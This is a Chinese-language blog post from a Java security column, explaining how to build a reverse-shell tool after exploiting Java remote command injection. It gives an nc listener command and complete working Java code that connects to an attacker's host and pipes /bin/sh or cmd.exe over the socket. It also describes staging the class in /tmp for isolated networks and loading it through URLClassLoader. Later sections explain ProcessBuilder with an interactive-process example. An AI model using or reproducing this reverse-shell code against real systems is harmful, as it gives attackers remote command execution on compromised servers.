首发于Java安全

如何利用Java编写反弹工具?

攻击者利用Java远程命令注入漏洞执行payload时,一般需要对shell进行反向连接。攻击者可以利用URLClassloader具备加载远程主机字节码文件的能力执行反弹功能。

1. 攻击者在自己的服务器上利用nc等工具进行端口监听

-l表示 监听模式,用于入站连接

-v表示详细输出,两个-v可以得到更为相信的信息

-p表示本地端口

nc64.exe -lvp 4444


2. 被攻击服务器在远端执行具备反弹shellJava代码,有两种情况:

  • 第一种内网与外网网络是连通的攻击者可以利用URLClassloader加载远程服务器jar包,jar包中包含可执行shell反弹的class代码文件。
/**
* Java Shell反弹工具
* 
*/
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;

public class JavaReverse extends Thread {
   public InputStream  is;
   public OutputStream os;

   public JavaReverse(InputStream inputStream, OutputStream outputStream) {
       this.is = inputStream;
       this.os = outputStream;
   }

   public JavaReverse(String host, int port) {
       boolean os = System.getProperty("file.separator").equals("/");
       try {
           Socket socket = new Socket(host, port);
           String shell = os ? "/bin/sh" : "cmd.exe";
           Process process = Runtime.getRuntime().exec(shell);
           new JavaReverse(process.getInputStream(), socket.getOutputStream()).start();
           new JavaReverse(socket.getInputStream(), process.getOutputStream()).start();
       } catch (Exception e) {
       }
   }

 @Override
   public void run() {
       BufferedReader inReader = null;
       BufferedWriter outWriter = null;
       try {
           inReader = new BufferedReader(new InputStreamReader(this.is));
           outWriter = new BufferedWriter(new OutputStreamWriter(this.os));
           char[] arrayOfChar = new char[8192];
           int i;
           while ((i = inReader.read(arrayOfChar, 0, arrayOfChar.length)) > 0) {
               outWriter.write(arrayOfChar, 0, i);
               outWriter.flush();
           }

       } catch (Exception e1) {

       } finally {
           try {
               if (inReader != null) {
                   inReader.close();
               }
               if (outWriter != null) {
                   outWriter.close();
               }
           } catch (Exception e2) {
           }
       }

   }

   public static void main(String[] args) {
       new JavaReverse("127.0.0.1", 4444);

       synchronized (JavaReverse.class) {
           try {
               JavaReverse.class.wait();
           } catch (InterruptedException e) {
               e.printStackTrace();
           }
       }
   }
}


  • 如果内网与外网网络是隔断?那怎么办?。其实也很简单,既然能够执行远程代码注入,我们可以先将执行代码写入到系统的某个临时目录,如linux系统的/tmp/ErrorExecEcho.class,然后再利用URLClassloader加载刚才写入的本地class字节码。

3. java.lang.Process和java.lang.ProcessBuilder

Java的进程可以调用Runtime.getRuntime().exec方法进行创建。另外,java.lang.ProecessBuilder是Jdk1.5加入的一个新的进程管理类,用户创建新的Java进程,调用它的 start()方法可以创建新的进程。每个ProcessBuilder对象可以管理这些属性: 命令、目录、环境、redirectErrorStream。其中命令是指调用外部程序及其参数;目录是指当前进程的工作目录;redirectErrorStream设置为true可以忽略错误的标准输出流;环境是当前进程从系统环境获取的一个副本。


public final class ProcessBuilder
{  
 private List<String> command;
   private File directory;
   private Map<String,String> environment;
   private boolean redirectErrorStream;
   private Redirect[] redirects;

   /**
    * Constructs a process builder with the specified operating
    * system program and arguments.  This constructor does <i>not</i>
    * make a copy of the {@code command} list.  Subsequent
    * updates to the list will be reflected in the state of the
    * process builder.  It is not checked whether
    * {@code command} corresponds to a valid operating system
    * command.
    *
    * @param  command the list containing the program and its arguments
    * @throws NullPointerException if the argument is null
    */
   public ProcessBuilder(List<String> command) {
       if (command == null)
           throw new NullPointerException();
       this.command = command;
   }

那Process和ProcessBuilder有什么区别呢?ProcessBuilder相对Process提供了更多的控制功能,比如可以设置当前进程的工作目录、改变当前进程的环境变量等。下面有一个例子利用ProcessBuilder的getInputStream()和getOutputStream()进行命令行交互的代码,重点可以分析proecess.exitVaule()方法, 该方法返回值为0表示正常情况,但是如果子进程还没结束则会抛出IllegalThreadStateException,通过捕获该异常可以检测当前子进程存活状态。会报异常

/**
* Read/write input/output stream of interactive process
* 
*/
public class TestProcessIO {

   public static boolean isAlive(Process p) {
       try {
           p.exitValue();
           return false;
       } catch (IllegalThreadStateException e) {
           return true;
       }
   }

   public static void main(String[] args) throws IOException {
       ProcessBuilder builder = new ProcessBuilder("cmd.exe");
       builder.redirectErrorStream(true); // so we can ignore the error stream            
       Process process = builder.start();
       InputStream out = process.getInputStream();
       OutputStream in = process.getOutputStream();

       byte[] buffer = new byte[4000];
       while (isAlive(process)) {
           int no = out.available();
           if (no > 0) {
               int n = out.read(buffer, 0, Math.min(no, buffer.length));
               System.out.println(new String(buffer, 0, n));
           }

           int ni = System.in.available();
           if (ni > 0) {
               int n = System.in.read(buffer, 0, Math.min(ni, buffer.length));
               in.write(buffer, 0, n);
               in.flush();
           }

           try {
             Thread.sleep(10);
         } catch (InterruptedException e) {
           }
       }
          System.out.println(process.exitValue());
   }

}


另外,感兴趣的同学,可以报名参加本人主讲的Java反序列化漏洞RMI的Chat,大家可以讨论感兴趣的相关问题,URL:

Java 反序列化漏洞之 RMI

编辑于 2017-11-27 13:58